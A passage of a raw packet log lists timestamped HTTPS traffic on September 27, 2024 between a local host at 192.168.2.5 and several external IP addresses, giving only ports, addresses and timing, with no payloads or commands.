Sep 27, 2024 05:50:59.895870924 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.895904064 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.895909071 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.895920992 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.895946026 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.895972967 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.896306038 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.896320105 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.910305977 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.910321951 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.910331964 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.930309057 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.930600882 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.930614948 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.931061029 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.931127071 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.932071924 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.932116985 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.932293892 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.932358027 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.932429075 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.932435036 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.933007002 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.933181047 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.933198929 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.933665037 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.933742046 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.934689045 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.934753895 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.934967041 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.935035944 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.935245037 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.935251951 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.958579063 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.974647045 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.982261896 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.982400894 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.982451916 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.982588053 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.982606888 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.982619047 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.982655048 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.990794897 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.124871969 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.124906063 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.124916077 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.124941111 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.124963999 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.124972105 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.124974966 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.124990940 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.125013113 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.125024080 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.125051022 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.126396894 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.126416922 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.126429081 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.126455069 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.126470089 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.126523018 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.126533031 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.126545906 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.126566887 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.126605988 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.126861095 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.126874924 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127270937 CEST	49855	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.127315044 CEST	443	49855	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127398968 CEST	49855	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.127758980 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127788067 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127798080 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127815008 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127825975 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127835989 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.127846003 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.127881050 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.127913952 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.128163099 CEST	49855	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.128174067 CEST	443	49855	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.128201008 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.128253937 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.128261089 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.128283978 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.128326893 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.130520105 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.130533934 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.130863905 CEST	49856	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.130897999 CEST	443	49856	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.130955935 CEST	49856	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.131664038 CEST	49856	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.131680965 CEST	443	49856	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135092020 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135118008 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135126114 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135168076 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.135190010 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135235071 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135262966 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135289907 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135305882 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.135305882 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.135314941 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.135339975 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.136133909 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.136174917 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.136195898 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.136209965 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.136257887 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.136260033 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.136286974 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.136306047 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.136411905 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.136421919 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.136699915 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.136724949 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.136778116 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.137322903 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.137332916 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145658970 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145680904 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145698071 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145705938 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145715952 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145724058 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145726919 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.145739079 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145773888 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.145786047 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.146178007 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:00.146290064 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:00.146332979 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:00.146904945 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.146914959 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.146928072 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.146936893 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.146965981 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.146971941 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.147027016 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.147300005 CEST	49813	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:00.147305965 CEST	443	49813	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:00.219744921 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.219765902 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.219774008 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.219835043 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.219835997 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.219929934 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.221319914 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.221359968 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.233702898 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.233730078 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.233740091 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.233757019 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.233781099 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.233783960 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.233798981 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.233860016 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.242609024 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:51:00.242674112 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:51:00.242722034 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:51:00.249764919 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:51:00.249782085 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:51:00.259358883 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.259427071 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.259509087 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.259797096 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.259828091 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.272448063 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.273031950 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.273046970 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.273508072 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.273569107 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.274494886 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.274533033 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.277276039 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.277338982 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.277853012 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.277858019 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.290879011 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.291374922 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.291405916 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.291902065 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.293203115 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.293373108 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.293926001 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.297458887 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.297488928 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.297498941 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.297516108 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.297537088 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.297552109 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.297560930 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.297590971 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.297616005 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.302840948 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.302870035 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.302880049 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.302889109 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.302906036 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.302915096 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.302956104 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.302969933 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.303011894 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.303040981 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.317250967 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.317276001 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.317322969 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.317351103 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.317378044 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.317401886 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.320523977 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.320545912 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.320585966 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.320590973 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.320650101 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.325553894 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.335396051 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.348583937 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.348623037 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.348701000 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.349260092 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.349273920 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.363440037 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.363475084 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.363539934 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.364654064 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.364665031 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.381709099 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.381737947 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.381800890 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.381812096 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.381855011 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.381880045 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.385139942 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.385160923 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.385202885 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.385217905 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.385272980 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.385615110 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.385643005 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.385682106 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.385694981 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.385711908 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.385736942 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.385792017 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:00.385806084 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:00.385855913 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:00.386773109 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:00.386781931 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:00.389199018 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.389220953 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.389267921 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.389271975 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.389326096 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.393438101 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.393481016 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.393543005 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.394223928 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.394237995 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.397142887 CEST	49863	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.397178888 CEST	443	49863	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.397238970 CEST	49863	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.397552013 CEST	49863	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.397561073 CEST	443	49863	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.398864985 CEST	49864	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.398874044 CEST	443	49864	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.398924112 CEST	49864	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.402482033 CEST	49864	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.402491093 CEST	443	49864	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.403328896 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.403361082 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.403403997 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.403409958 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.403464079 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.404716015 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.404743910 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.404781103 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.404786110 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.404845953 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.405457973 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.405484915 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.405514956 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.405519009 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.405533075 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.405564070 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.405570030 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.405591965 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.405611038 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.405653954 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.406244040 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.406254053 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.406732082 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.406754971 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.406821012 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.408819914 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.408830881 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.415191889 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:00.415232897 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:00.415309906 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:00.415869951 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:00.415891886 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:00.468333960 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.468894958 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.468949080 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.468991995 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.469018936 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.469050884 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.469075918 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.469095945 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.469151020 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.469156981 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.469192028 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.469249010 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.469305038 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.471344948 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.471410990 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.471426010 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.471491098 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.471529961 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.476675987 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.506787062 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.506812096 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.506864071 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.506887913 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.506922960 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.506947041 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.507936954 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.507960081 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.507997990 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.508002996 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.508057117 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.509645939 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.509668112 CEST	443	49834	211.149.140.201	192.168.2.5
